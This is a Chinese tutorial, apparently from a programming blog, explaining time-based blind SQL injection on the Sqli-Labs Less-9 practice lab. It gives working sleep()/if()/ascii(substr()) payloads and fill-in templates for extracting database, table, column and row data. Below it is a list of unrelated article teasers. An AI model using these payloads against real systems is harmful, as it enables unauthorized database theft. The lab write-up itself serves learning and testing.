SQL注入-时间盲注

SQL时间盲注(Time-based Blind SQL Injection),又叫延时注入,是一种SQL注入攻击技术,用于在无法直接获取查询结果或查看响应内容变化的情况下,通过引入时间延迟来推断数据库的信息;时间盲注依赖于数据库执行查询时的时间延迟,通过观察响应时间的变化,攻击者可以推测出查询结果。

这里以Sqli-Labs靶场的Less-9关卡为例子来阐述时间盲注的具体思路:

进入关卡首先构建参数id,并传入对应数据,可以发现无论传入的数据是什么,是正确还是错误,回显始终是一样的,说明此时布尔盲注是不管用的,这个时候就可以尝试使用时间注入。

1.判断是否存在注入漏洞

因为通过回显无法判断正确还是错误;所以此时需要使用mysql中的sleep()函数来判断此处是否存在注入漏洞;SLEEP() 函数在 MySQL 中用于引入延迟,它使查询在执行时暂停指定的秒数;此时可以构造语句:

1 and sleep(5)      //整型
1' and sleep(5) --+  //字符型,单引号闭合
1” and sleep(5) --+  //字符型,双引号闭合

在一切未知的情况下我们只能一个一个语句进行尝试,但是由于此时环境位渗透靶场,我们可以根据网站源码来进行理解(单引号闭合):

此时完整请求代码:

SELECT * FROM users WHERE id='1' and sleep(5) --+' LIMIT 0,1

SLEEP(5) 函数使查询延迟5秒执行。如果这一部分被成功注入并执行,服务器的响应时间将增加5秒。

语句执行结果:

发生延时,证明存在注入漏洞,且注入类型为字符型注入使用单引号闭合。

接下去的注入的过程的核心函数if()函数;MySQL的IF函数用于执行条件判断,在满足某个条件时返回一个值,否则返回另一个值。其基本语法如下:

IF(condition, true_value, false_value)
  • condition: 需要评估的条件表达式。如果条件为真,则返回true_value

  • true_value: 如果条件为真,函数返回的值。

  • false_value: 如果条件为假,函数返回的值。

接下去的核心语句if(查询语句,sleep(5),1);即如果我们的查询语句为真,那么过5秒之后返回页面;如果我们的查询语句为假,那么直接返回结果。所以我们就根据返回页面的时间长短来判断我们的查询语句是否执行正确。后续的步骤与布尔盲注基本一致。

2.判断数据库名的长度:

此时我们可以结合布尔盲注的语句进行语句构造:

1' and if(length(database())=4,sleep(5),1) --+ 

此时带入源码中的数据请求sql语句来理解:

SELECT * FROM users WHERE id='1' and if(length(database())=4,sleep(5),1) --+ ' LIMIT 0,1
  • LENGTH(database())=4:检查当前数据库名称的长度是否为4。

  • SLEEP(5):如果数据库名称的长度为4,则使查询延迟5秒执行。

  • 1:如果数据库名称的长度不为4,则返回1,即条件为真。

判断数据库名长度的模板:

key' and if(length(database())=长度数据,sleep(5),1) --+ 

此处可以结合burpsuite进行数据库长度爆破。

3.判断数据库名

构造语句:

1' and if(ascii(substr(database(),1,1)) = 90,sleep(5),1) --+ 

带入程序中的查询进行理解:

SELECT * FROM users WHERE id='1' and if(ascii(substr(database(),1,1)) = 90,sleep(5),1) --+ ' LIMIT 0,1
  • SUBSTR(database(), 1, 1):获取当前数据库名称的第一个字符。

  • ASCII(SUBSTR(database(), 1, 1)) = 90:检查该字符的ASCII码是否为90。

  • SLEEP(5):如果条件为真,则使查询延迟5秒执行。

  • 1:如果条件为假,则立即返回1。

模板:

key' and if(ascii(substr(database(),1~数据库名长度,1)) = ascii码,sleep(5),1) --+ 

得到数据库名为:"security"

4.推测数据库中的表信息
1)猜表的数量

构造语句:

1' and if((select count(table_name) from information_schema.tables where table_schema='security') = 4 ,sleep(5),1) --+ 

带入程序中的查询进行理解:

SELECT * FROM users WHERE id='1' and if((select count(table_name) from information_schema.tables where table_schema="security") = 4 ,sleep(5),1) --+ ' LIMIT 0,1
  • (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='security') = 2:检查 security 数据库中的表数量是否为2。

  • SLEEP(5):如果条件为真,则使查询延迟5秒执行。

  • 1:如果条件为假,则立即返回1。

模板:

key' and if((select count(table_name) from information_schema.tables where table_schema='数据库名') = 表的数量 ,sleep(5),1) --+ 

最后可以得到表的数量为4。

2)猜表的名称的长度

此时可以构建语句进行测试:

1' and if(length(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1)) = 6 ,sleep(5),1) --+ 

结合程序语句理解:

SELECT * FROM users WHERE id='1' and if(length(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1)) = 6 ,sleep(5),1) --+ ' LIMIT 0,1
  • (SELECT table_name FROM information_schema.tables WHERE table_schema="security" LIMIT 0,1): 从 security 数据库中获取第一个表名。

  • SUBSTR(..., 1): 获取该表名的第一个字符(从位置1开始)。

  • LENGTH(...): 计算表名的长度。

  • IF(... = 6, SLEEP(5), 1): 如果长度为6,则使查询延迟5秒执行;否则立即返回1。

模板:

key' and if(length(substr((select table_name from information_schema.tables where table_schema="数据库名" limit 0~表的个数-1,1),1)) = 6 ,sleep(5),1) --+ 

3)猜表的名称

此处猜测表的名称与上述猜数据库名一样即可;也是每张表名一个字符一个字符的猜:猜对回显正常,猜错回显异常。

1' and if(ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1)) = 101 ,sleep(5),1) --+ 

结合程序语句:

SELECT * FROM users WHERE id='1' and if(ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1)) = 101 ,sleep(5),1) --+ ' LIMIT 0,1
  • (SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1): 从 security 数据库中获取第一个表名。

  • SUBSTR(..., 1, 1): 获取该表名的第一个字符(从位置1开始,长度为1)。

  • ASCII(...): 计算该字符的 ASCII 码。

  • IF(... = 103, SLEEP(5), 1): 如果 ASCII 码为 101(即字符 'e'),则使查询延迟 5 秒执行;否则立即返回 1。

模板:

key' and if(ascii(substr((select table_name from information_schema.tables where table_schema="数据库名" limit 0~表的个数-1,1),1~表的字符长度,1)) = Ascii码 ,sleep(5),1) --+ 

此处可以得到第一个表的名称为emails

5.推测数据列信息

此步也分为几个小步骤:猜列的数量–>猜列的长度–>列的名称;方法与上述求表一致只不过需要改一下指定的表以及限定要读取的表即可;以下为模板套着用就好了。

1)猜列的数量(需要用到上述得到的表名)
1' and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='emails')=2 ,sleep(5),1) --+ 

结合程序理解:

SELECT * FROM users WHERE id='1' and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='emails')=2 ,sleep(5),1) --+ ' LIMIT 0,1
  • (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema='security' AND table_name='emails'): 从 security 数据库的 emails 表中获取列的数量。

  • IF(... = 2, SLEEP(5), 1): 如果列数量为2,则使查询延迟5秒执行;否则立即返回1。

模板:

1' and if((select count(column_name) from information_schema.columns where table_schema=数据库名 and table_name=表名)=2 ,sleep(5),1) --+ 

2)猜列名的长度(需要用到表名、获取的列的数量)

构造语句:(猜测第一张表中的第一个列的长度)

1' and if(length(substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1 ),1))=2 ,sleep(5),1) --+ 

结合程序中的语句:

SELECT * FROM users WHERE id='1' and if(length(substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1 ),1))=2 ,sleep(5),1) --+ ' LIMIT 0,1

(SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='emails' LIMIT 0,1): 从 security 数据库的 emails 表中获取第一个列名。

SUBSTR(..., 1): 获取该列名的第一个字符(从位置1开始)。

LENGTH(...): 计算列名的长度。

IF(... = 2, SLEEP(5), 1): 如果长度为2,则使查询延迟5秒执行;否则立即返回1。

模板:

1' and if(length(substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0~列数-1,1 ),1))=列名长度 ,sleep(5),1) --+ 

3)列的名称(需要用到表名、获取的列的数量、列名的长度)

构造语句:

1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1 ),1,1))=105,sleep(5),1) --+ 

带入程序理解:

SELECT * FROM users WHERE id='1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1 ),1,1))=105,sleep(5),1) --+ ' LIMIT 0,1
  • (SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='emails' LIMIT 0,1): 从 security 数据库的 emails 表中获取第一个列名。

  • SUBSTR(..., 1, 1): 获取该列名的第一个字符(从位置1开始,长度为1)。

  • ASCII(...): 计算该字符的 ASCII 码。

  • IF(... = 105, SLEEP(5), 1): 如果 ASCII 码为 105(即字符 'i'),则使查询延迟5秒执行;否则立即返回1。

模板:

1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='数据库' and table_name='表' limit 0~列数-1,1 ),1~列名长度,1))=ASCII码,sleep(5),1) --+ 

此处可以得到一个列名id

6.推测数据
1)猜测当前数据的长度

具体思路与上述一样,直接上模板

1' and if(length(substr((select id from emails limit 0,1 ),1))=1 ,sleep(5),1) --+ 

带入程序:

SELECT * FROM users WHERE id='1' and if(length(substr((select id from emails limit 0,1 ),1))=1 ,sleep(5),1) --+ ' LIMIT 0,1
  • (SELECT id FROM emails LIMIT 0,1): 从 emails 表中获取第一个 id 值。

  • SUBSTR(..., 1): 获取该 id 值的第一个字符(从位置1开始)。

  • LENGTH(...): 计算 id 值的长度。

  • IF(... = 1, SLEEP(5), 1): 如果长度为1,则使查询延迟5秒执行;否则立即返回1。

模板:

1' and if(length(substr((select 列名 from 表名 limit 0~列的个数,1 ),1))=数据长度 ,sleep(5),1) --+ 

2)猜测当前数据

构造语句:

1' and if(ascii(substr((select id from emails limit 0,1),1,1))=49 ,sleep(5),1) --+ 

带入语句理解:

SELECT * FROM users WHERE id='1' and if(ascii(substr((select id from emails limit 0,1),1,1))=49 ,sleep(5),1) --+ ' LIMIT 0,1
  • (SELECT id FROM emails LIMIT 0,1): 从 emails 表中获取第一个 id 值。

  • SUBSTR(...,1,1): 获取该 id 值的第一个字符(从位置1开始,长度为1)。

  • ASCII(...): 计算该字符的 ASCII 码。

  • IF(...=49, SLEEP(5), 1): 如果 ASCII 码为49(即字符 '1'),则使查询延迟5秒执行;否则立即返回1。

模板:

1' and if(ascii(substr((select 列名 from 表名 limit 0~数据个数-1,1),1~数据名称长度,1))=49 ,sleep(5),1) --+ 

数据个数无需单独测试,从0开始往大了测即可,若数值大于数据个数则回显自然就不正常(即未延时)。

至此就是时间盲注的过程与思路。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/341445.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

tinyrenderer-切线空间法线贴图

法线贴图 法线贴图分两种,一种是模型空间中的,一种是切线空间中的 模型空间中的法线贴图的rgb代表着每个渲染像素法线的xyz,与顶点坐标处于一个空间,图片是五颜六色的。 切线空间中的法线贴图的rgb同样对应xyz,是切线…

可视化数据科学平台在信贷领域应用系列四:决策树策略挖掘

信贷行业的风控策略挖掘是一个综合过程,需要综合考虑风控规则分析结果、效果评估、线上实时监测和业务管理需求等多个方面,以发现和制定有效的信贷风险管理策略。这些策略可能涉及贷款审批标准的调整、贷款利率的制定、贷款额度的设定等,在贷…

低代码开发平台一般都有哪些功能和模块?

在当今快速变化的数字化时代,企业对于高效、灵活且经济的软件开发解决方案的需求愈发迫切。低代码开发平台应运而生,成为众多企业实现数字化转型的首选工具。本文将详细探讨低代码开发平台一般具备的主要功能和模块,以及它们如何助力企业提升…

Dinky MySQLCDC 整库同步到 Doris

资源:flink 1.17.0、dinky 1.0.2、doris-2.0.1-rc04 问题:Cannot deserialize value of type int from String ,detailMessageunknowndatabases ,not a valid int value 2024-05-29 16:52:20.136 ERROR org.apache.doris.flink.…

AI论文工具推荐

AI 在学术界的使用情况也比较疯狂,特别是一些美国大学,用 AI 来辅助阅读文献以及辅助写论文的越来越多,毕竟确实可以提高写作效率,特别是在文献综述和初稿生成方面。 但在科研界其实,发现看论文的速度已经赶不上发论文…

领夹麦克风什么牌子好?2024无线领夹麦克风十大品牌排行榜推荐

​如今,无线麦克风已逐渐渗透到我们日常生活的各个角落,无论是专业的自媒体创作者、带货主播,还是日常拍摄记录生活的我们,都可能用到它。在挑选无线麦克风时,收音降噪效果和性价比无疑是两大核心考量因素。为此&#…

【wiki知识库】05.分类管理实现--前端Vue模块

📝个人主页:哈__ 期待您的关注 目录 一、🔥今日目标 二、🌏前端部分的改造 2.1 新增一个tool.ts 2.2 新增admin-categoty.vue 2.3 添加新的路由规则 2.4 添加the-welcome.vue 2.5 修改HomeView.vue 三、❗注意 一、&…

The authenticity of host ‘github.com (20.205.243.166)‘ can‘t be established.

目录 github初始化仓库,无法链接 解决无法与主机github.com(20.205.243.166)建立真实性 # 问题原因 # 生成密钥 # 物理路径 # 建立交互 # 验证 github初始化仓库,无法链接 在github创建一个新的仓库时,如果我们未初始化,…

面试题vue+uniapp(个人理解-面试口头答述)未编辑完整....

1.vue2和vue3的区别(vue3与vue2的区别(你不知道细节全在这)_vue2和vue3区别-CSDN博客)参考 Vue3 在组合式(Composition )API,中使用生命周期钩子时需要先引入,而 Vue2 在选项API&am…

操作失败——后端

控制台观察,页面发送的保存菜品的请求 返回的response显示: ---------- 我开始查看明明感觉都挺正常,没啥错误,就是查不出来。结果后面电脑关机重启后,隔一天看,就突然可以了。我觉着可能是浏览器的缓存没…

2022.9.26DAY678

课程学习:《数据处理技术》讲了“数据查询”的语法格式,语法格式也算是简单,就是没能跟之前的内容联系起来,之前的内容没有及时回顾。 高等数学:“ 函数的概念”,讲了函数的概念,反函数&#…

登录通用解决方案 —— 第三方登录处理

目录 01: 前言 02: 第三方平台登录解决方案流程大解析 03: QQ 开放平台流程大解析 04: QQ 登录对接流程:获取 QQ 用户信息 05: QQ 登录对接流程:跨页面信息传输 06: QQ 登录对接流程:认证是否已注册,完成 QQ …

今日科普:了解、预防、控制高血压

高血压,常被称为“隐形的健康威胁”,许多患者可能在毫无预警的情况下发病,且患病率逐年攀升,同时患者群体逐渐年轻化,高血压虽然难以根治,但并不可怕,真正可怕的是血压长期居高不下,…

MySQL中所有常见知识点汇总

存储引擎 这一张是关于整个存储引擎的汇总知识了。 MySQL体系结构 这里是MySQL的体系结构图: 一般将MySQL分为server层和存储引擎两个部分。 其实MySQL体系结构主要分为下面这几个部分: 连接器:负责跟客户端建立连 接、获取权限、维持和管理…

低代码专题 | 什么是低代码?低代码是什么意思?最详细解释!

什么是低代码,低代码是什么意思?低代码到底有什么用?企业该如何用低代码赋能?......因为现在太多碎片化信息了,所以大家对于一个概念的理解都是零散的。 故给大家开一个专题,将低代码给大家掰开揉碎了讲清…

DevOps全面综述:从概念到实践

一、背景与概述 1.1 DevOps的起源与发展 DevOps(Development and Operations的缩写)是软件工程领域中的一种文化和实践方法,旨在促进开发团队与运维团队之间的协作,从而实现更高效、更可靠的软件交付。DevOps起源于敏捷软件开发方…

php实现抖音小程序支付

开发者发起下单_小程序_抖音开放平台 第一步、抖音小程序发起支付 tt.pay_小程序_抖音开放平台 前端提交订单数据到后端接口,然后使用 tt.pay发起支付 请求参数 属性 类型 必填 说明 order_id string 是 担保交易服务端订单号 order_token string 是 …

RocketMq源码解析五:生产者Producer发送消息

上一章我们把生产者启动的流程和大家一起跟着源码走了一遍,现在我们来看发送消息的流程。上一章我们已经把核心接口和类关系梳理了一遍。如下图 我们今天重点看MQProducer中的send方法最终的实现。DefaultMQProducer中,send的实现最终还是调用了 defaultMQProducerIm…

寺庙小程序-H5网页开发

大家好,我是程序员小孟。 现在有很多的产品或者工具都开始信息话了,寺庙或者佛教也需要小程序吗? 当然了! 前面我们还开发了很多寺庙相关的小程序。 今天要介绍的是一款寺庙系统,该系统可以作为小程序、H5网页、安…

【面经】亚信科技面试问题合集

下述内容经搜寻广大平台的面试经历,整理汇合得出,答案来自chatgpt,加黑的地方意味着出现多次。 1.自我介绍 2.介绍项目功能 3.和equals的区别。八大基本类型(byte,char,int ,long,double,float,boolean,short) 是用于比较两个…